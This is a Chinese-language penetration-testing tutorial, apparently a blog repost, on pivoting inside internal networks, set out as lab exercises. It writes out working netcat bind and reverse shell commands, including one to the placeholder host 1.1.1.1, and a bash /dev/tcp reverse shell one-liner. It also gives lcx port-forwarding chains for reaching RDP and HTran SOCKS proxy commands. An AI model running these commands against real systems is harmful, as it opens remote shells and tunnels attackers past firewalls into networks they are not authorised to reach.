内网渗透测试——内网转发

内网转发目的:

  • 渗透测试中,我们往往会面对十分复杂的内网环境。比如最常用的防火墙,它会限制特定端口的数据包出入。
  • A可以访问B的80端口,但是不能访问B的3389端口。
  • A可以访问B,B可以访问C,但是A不可以访问C。需要通过B转发数据,让A和C进行通信。

代理:

(一)正向代理

  • 我们常说的代理就是指正向代理,正向代理的过程,它隐藏了真实的请求客户端,服务端不知道真实的客户端是谁,客户端请求的服务都被代理服务器代替来请求。
  • 举个例子在国内用浏览器访问 www.google.com 时,因为防火墙的原因拒绝连接,这时候你可以在国外搭建一台代理服务器,让代理帮你去请求google.com,代理把请求返回的相应结构再返回给我。

内网渗透测试——内网转发_第1张图片

(二)反向代理

  • 反向代理是相对于服务器而言的,当我们请求 www.baidu.com 的时候,背后可能有成千上万台服务器为我们服务,但具体是哪一台,不需要知道,你只需要知道反向代理服务器是谁就好了,www.baidu.com 就是我们的反向代理服务器,反向代理服务器会帮我们把请求转发到真实的服务器那里去。比如说负载均衡。

内网渗透测试——内网转发_第2张图片

内网转发三种形式:

  • 反弹shell     
  • 在攻击者机器,获取受害者机器的命令行
  • 反弹端口
  • 受害者服务器的某一个端口不能访问,我们通过反弹端口的形式,让攻击者能够访问该端口   也叫端口转发
  • 反弹代理
  • 将攻击者的流量,转发到内网其他服务器上

实验:

利用nc正向连接shell

  • 完成实验:
  • 利用nc正向连接shell实验(dmz大型靶场)
  • 要求:
  • 适用于,能够访问到受害者机器的开放端口。
  • 步骤一:
  • 被控服务器shell反弹到本地的4444端口,并监听4444端口
  • nc –lvp 4444 –e /bin/bash
  • nc –lvp 4444 -e cmd.exe
  • 步骤二:
  • 攻击机连接被控服务器的4444端口
  • nc -vv 被控服务器ip 4444
  • 注:
  • tcp 连接是外网攻击机发起的,连接被控服务器。

利用nc反弹shell

  •  完成实验:
  • 利用nc反弹shell实验
  • 步骤一:
  • 外网服务器监听4444端口
  • nc -lvp 4444
  • 步骤二:
  • 在被控服务器反弹shell到外网服务器的4444端口
  • nc –e /bin/bash 1.1.1.1 4444(反弹linux shell) TCP
  • nc –e cmd.exe 1.1.1.1 4444(反弹windows shell)
  • 注:
  • tcp连接是被控服务器发起,连接外网攻击机。

反弹shell:

linux常见几种方式

  • (1)利用系统自带的bash和gawk
  • (2)利用脚本:
  •                          python
  •                          perl
  •                          ruby
  •                          lua
  •                          php
  •                          jsp
  •                          aspx
  • (3)利用第三方服务或工具:
  •                                                telnet
  •                                                xterm
  •                                                socat
  •                                                nc

利用linux bash反弹shell

  • 步骤一:
  • 外网服务器监听4444端口
  • nc -lvp 4444
  • 步骤二:
  • 在被控服务器反弹shell到外网服务器的4444端口
  • bash -i >& /dev/tcp/外网ip/外网端口 0>&1

反弹端口

LCX——LCX反弹端口实验

完成实验:LCX转发实验一

  • 步骤一:
  • 外网服务器开启监听
  • lcx -listen 4444 12345
  • 步骤二:
  • 将被控主机端口转发到外网服务器
  • lcx.exe –slave 公网 IP + 端口 被控服务器IP + 端口
  • lcx -slave 1.1.1.1 4444 127.0.0.1 80
  • 步骤三:
  • 在外网服务器连接本地12345端口
  • 然后mstsc 127.0.0.1:12345

完成实验:LCX转发实验二

  • 环境:
  • 80端口不对外开放,但是8080端口对外开放
  • 步骤一:
  • 被控服务器的80端口转发到本地的8080端口(本地端口转发)
  • lcx -tran 8080 127.0.0.1 80
  • 步骤二:
  • 外网服务器连接被控服务器的8080端口
  • 浏览器访问   ip:8080
  • 注:
  • 一般对外的服务器,80,8080 53,21等等,3389端口没有对外开放,但是有其他端口对外开放,是不是可以本地端口转发,转发的端口必须没有被其他服务占用。

完成实验:LCX转发实验三

  • 环境:
  • 内网主机不能访问外网,但是可以访问同网段的内网机器,同时80端口只能本地访问,但是8080端口对外开放。
  • 步骤一:
  • 被控服务器的80端口转发到本地的8080端口
  • lcx -tran 8080 127.0.0.1 80
  • 步骤二:
  • 在内网被控服务器上连接内网能够对外访问的服务器
  • lcx –slave 192.168.56.1 4444 192.168.56.101 8080
  • 步骤三:
  • 在能够对外访问的内网机器上监听端口
  • lcx –listen 4444 12345
  • 步骤四:
  • 外网机器访问192.168.56.1对外ip的12345端口
  • 在外网192.168.64.230 访问192.168.64.103:12345 不是访问192.168.56.1

reduh

  • Mstsc客户端   –>   reDuh代理   –>  HTTPtunne  –>Web服务器  –>  3389

反弹代理

  • 内网渗透不光只是反弹一个shell,反弹一个端口,我们更需要对内网进行更深一步的扫描和渗透,这时候就需要设置找到一个代理服务器,所以出现了反弹代理,也叫反弹socket。
  • 充当外网和内网数据转发的节点。

利用htran反弹代理

实验:利用htran实现内网代理转发:

  • 步骤一
  • 在外网服务器上执行命令HTran.exe –p –listen 9001 9000
  • 监听两个端口,9001用来接收内网机器,9000连接proxychain等socket5工具的数据
  • 步骤二
  • 在内网机器执行命令
  • Htran.exe -p -slave 1.1.1.1 9001 127.0.0.1 8009
  • 步骤三
  • 配置本机socket5工具,连接外网服务器上的9000
  • 注:
  • https://blog.csdn.net/broing55

你可能感兴趣的:(网络安全)